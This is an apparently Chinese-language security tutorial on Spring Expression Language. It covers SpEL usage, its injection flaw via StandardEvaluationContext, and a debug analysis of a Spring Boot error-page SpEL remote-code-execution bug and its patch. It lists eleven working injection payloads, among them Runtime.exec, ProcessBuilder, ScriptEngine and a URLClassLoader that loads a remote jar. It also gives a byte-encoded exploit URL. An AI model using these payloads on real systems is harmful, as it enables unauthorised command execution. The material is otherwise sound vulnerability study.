什么是SpEL表达式 Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。它的语法类似于传统EL,但提供额外的功能,最出色的就是函数调用和简单字符串的模板函数。尽管有其他可选的 Java 表达式语言,如 OGNL, MVEL,JBoss EL 等等,但 Spel 创建的初衷是了给 Spring 社区提供一种简单而高效的表达式语言,一种可贯穿整个 Spring 产品组的语言。这种语言的特性应基于 Spring 产品的需求而设计。 Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。
用法 SpEL有三种用法,一种是在注解@Value中;一种是XML配置;最后一种是在代码块中使用Expression。SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值
1、@Value 1 2 3 4 5 6 7 public class EmailSender { @Value("${spring.mail.username}") private String mailUsername; @Value("#{ systemProperties['user.region'] }") private String defaultLocale; //... }
2、bean配置 1 2 3 4 5 <bean id="xxx" class="com.java.XXXXX.xx"> <!-- 同@Value,#{}内是表达式的值,可放在property或constructor-arg内 --> <property name="arg" value="#{表达式}"> </bean>
3、Expression 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.expression.spel.support.StandardEvaluationContext; public class SpELTest { public static void main(String[] args) { //创建ExpressionParser解析表达式 ExpressionParser parser = new SpelExpressionParser(); //表达式放置 Expression exp = parser.parseExpression("表达式"); //执行表达式,默认容器是spring本身的容器:ApplicationContext Object value = exp.getValue(); /**如果使用其他的容器,则用下面的方法*/ //创建一个虚拟的容器EvaluationContext StandardEvaluationContext ctx = new StandardEvaluationContext(); //向容器内添加bean BeanA beanA = new BeanA(); ctx.setVariable("bean_id", beanA); //setRootObject并非必须;一个EvaluationContext只能有一个RootObject,引用它的属性时,可以不加前缀 ctx.setRootObject(XXX); //getValue有参数ctx,从新的容器中根据SpEL表达式获取所需的值 Object value = exp.getValue(ctx); } }
这里接口ExpressionParser
负责解析表达式字符串。上述代码含义为首先创建ExpressionParser
解析表达式,之后放置表达式,最后通过getValue
方法执行表达式,默认容器是spring本身的容器:ApplicationContext
。
配置环境 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>4.0.5.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-expression</artifactId> <version>4.0.5.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>4.0.5.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>4.0.5.RELEASE</version> </dependency> </dependencies>
核心接口
解析器ExpressionParser
,用于将字符串表达式转换为Expression
表达式对象。
表达式Expression
,最后通过它的getValute
方法对表达式进行计算取值。
上下文EvaluationContext
,通过上下文对象结合表达式来计算最后的结果。
语法 SpEL使用 #{...}
作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:
引用其他对象:#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}
其中属性名称引用还可以用$
符号 如:${someProperty}
除此以外在SpEL中,使用T()
运算符会调用类作用域的方法和常量。例如,在SpEL中使用Java的Math
类,我们可以像下面的示例这样使用T()
运算符:
1 #{T(java.lang.Math)} //结果会返回一个`java.lang.Math`类对象。
1、类表达式 SpEL中可以使用特定的Java类型,经常用来访问Java类型中的静态属性或静态方法,需要用T()
操作符进行声明。括号中需要包含类名的全限定名,也就是包名加上类名。唯一例外的是,SpEL内置了java.lang
包下的类声明,也就是说java.lang.String
可以通过T(String)
访问,而不需要使用全限定名。 因此我们通过 T()
调用一个类的静态方法,它将返回一个 Class Object
,然后再调用相应的方法或属性,如:
1 2 3 ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")"); Object value = exp.getValue();
2、方法调用 使用典型的Java编程语法来调用
1 2 3 4 5 // string literal, evaluates to "bc" String c = parser.parseExpression("'abc'.substring(2, 3)").getValue(String.class); // evaluates to true boolean isMember = parser.parseExpression("isMember('Mihajlo Pupin')").getValue(societyContext,Boolean.class);
3、调用构造函数 1 2 3 4 5 Inventor einstein = p.parseExpression("new org.spring.samples.spel.inventor.Inventor('Albert Einstein','German')").getValue(Inventor.class); //create new inventor instance within add method of List p.parseExpression("Members.add(new org.spring.samples.spel.inventor.Inventor('Albert Einstein', 'German'))").getValue(societyContext);
4、Bean引用 如果解析上下文已经配置,则可以使用@
符号从表达式中查找bean。
1 2 3 ExpressionParser parser = new SpelExpressionParser(); StandardEvaluationContext context = new StandardEvaluationContext(); context.setBeanResolver(new MyBeanResolver()); // This will end up calling resolve(context,"foo") on MyBeanResolver during evaluation Object bean = parser.parseExpression("@foo").getValue(context);
5、变量定义 变量定义通过EvaluationContext
接口的setVariable(variableName, value)
方法定义;在表达式中使用#variableName
引用;除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象,使用#root
引用根对象,使用#this
引用当前上下文对象
1 2 3 4 5 6 7 8 9 10 ExpressionParser parser = new SpelExpressionParser(); EvaluationContext context = new StandardEvaluationContext("rui0"); context.setVariable("variable", "ruilin"); String result1 = parser.parseExpression("#variable").getValue(context, String.class); System.out.println(result1); String result2 = parser.parseExpression("#root").getValue(context, String.class); System.out.println(result2); String result3 = parser.parseExpression("#this").getValue(context, String.class); System.out.println(result3);
6、用户自定义的方法 用户可以在SpEL注册自定义的方法,将该方法注册到StandardEvaluationContext
中的registerFunction(String name, Method m)
方法。 如:我们通过JAVA提供的接口实现字符串反转的方法。
1 2 3 4 5 6 7 8 9 10 public abstract class StringUtils { public static String reverseString(String input) { StringBuilder backwards = new StringBuilder(); for (int i = 0; i < input.length(); i++) backwards.append(input.charAt(input.length() - 1 - i)); } return backwards.toString(); } }
我们可以通过如下代码将方法注册到StandardEvaluationContext
并且来使用它
1 2 3 4 ExpressionParser parser = new SpelExpressionParser(); StandardEvaluationContext context = new StandardEvaluationContext(); context.registerFunction("reverseString", StringUtils.class.getDeclaredMethod("reverseString",new Class[] { String.class })); String helloWorldReversed = parser.parseExpression("#reverseString('hello')").getValue(context, String.class);
7、模板表达式 表达式模板允许文字文本与一个或多个解析块的混合。 你可以每个解析块分隔前缀和后缀的字符。当然,常见的选择是使用#{}
作为分隔符,如:
1 2 3 String randomPhrase = parser.parseExpression( "random number is #{T(java.lang.Math).random()}", new TemplateParserContext()).getValue(String.class);
在ParserContext
接口用于影响如何 表达被解析,以便支持所述表达模板的功能。的TemplateParserContext
的定义如下所示
漏洞原因 在不指定EvaluationContext
的情况下默认采用的是StandardEvaluationContext
,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。
看下SpEL提供的两个EvaluationContext
的区别:
1 2 SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。 StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
SimpleEvaluationContext
旨在仅支持SpEL语言语法的一个子集。它不包括 Java类型引用,构造函数和bean引用。所以说指定正确EvaluationContext
,是防止SpEl表达式注入漏洞产生的首选,之前出现过相关的SpEL表达式注入漏洞,其修复方式就是使用SimpleEvaluationContext
替代StandardEvaluationContext
。
常用的payload 1 2 3 4 5 6 7 8 9 10 11 1、${12*12} 2、T(java.lang.Runtime).getRuntime().exec("calc.exe")T(Thread).sleep(10000) 3、#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe') 4、new ProcessBuilder(new String[]{"cmd.exe","/c calc.exe"}).start() 5、T(java.lang.Runtime).getRuntime().exec("cmd.exe /c calc.exe") 6、T(Runtime).getRuntime().exec(new String[]{"cmd.exe","/c calc.exe"}) 7、new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[2];s[0]='cmd.exe';s[1]='/c calc.exe';java.lang.Runtime.getRuntime().exec(s);") 8、new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[2];s[0]='cmd.exe';s[1]='/c calc.exe';java.lang.Runtime.getRuntime().exec(s);")//调用ScriptEngine,js引擎名称可为[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript] 9、new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")//URLClassLoader远程加载class文件,通过函数调用或者静态代码块 10、T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("cmd.exe /c calc.exe") //AppClassLoader加载 11、T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"cmd.exe","/c calc.exe"}).start() //AppClassLoader加载
漏洞分析 SpringBoot SpEL表达式注入漏洞 原理
spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper
类中
此时 URL 中的参数值会用 parseStringValue
方法进行递归解析
其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
类的 resolvePlaceholder
方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
环境
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
验证
请求http://127.0.0.1:9091/article?id=${2*2}
对执行的命令进行十六进制编码
1 2 3 4 5 6 7 8 # coding: utf-8 result = "" target = 'calc' # 自己这里是windows环境,所以测试命令用的是calc for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))
将字符串格式转换成 0x** java 字节形式,因为这里会将我们的payload中的单引号和双引号进行编码,导致SpEL表达式解析失败,所以为了方便执行任意代码,可以根据String类的特性传入byte数组:
分析过程参考:https://www.cnblogs.com/bitterz/p/15206255.html
1 http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
开启调试,造成的原因主要是在ErrorMvcAutoConfiguration.java
中的SpelView
类,可以看到是在this.helper.replacePlaceholders(this.template, this.resolver)
中生成了错误页面,然后返回给result并响应
此时map的值如下
其中template内容如下
1 <html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>
跟进函数replacePlaceholders
继续跟进while循环中循环解析${}中的 表 达 式 ,例如第一个解析到${timestamp}的表达式
然后通过resolvePlaceholder函数进行SpEL解析,跟进即可看到通过getValue方法对SpEL表达式进行解析
且EvaluationContext
设置的为StandardEvaluationContext
,根据前面我们可以知道它允许用户控制输入的情况下可以成功造成任意命令执行
当解析${message}时,我们跟踪下resolvePlaceholder函数,看看它是怎么处理的
通过getValue从Context从取出message的值
跟进
就是对message的值进行html编码
编码完之后,可以看到message中的双引号被转换为html编码,所以这里编写命令执行的payload,不能带单引号和双引号,这也是为什么采用byte数组传递命令的原因了
接着往下就又是递归函数,获取proVal中${}中的值,然后进行SpEL表达式解析
往下,就是得到${}中的值,然后就是调用resolvePlaceholder进行解析
跟下,执行到getValue()方法就会对传进去SpEL恶意表达式进行解析,触发命令执行,弹出计算器
补丁是创建了一个新的NonRecursivePropertyPlaceholderHelper
类,来防止递归解析路径中或者名字中含有的表达式。 详见: https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6
参考 http://rui0.cn/archives/1043
https://blog.csdn.net/qq_31481187/article/details/108025512
https://xz.aliyun.com/t/9245#toc-11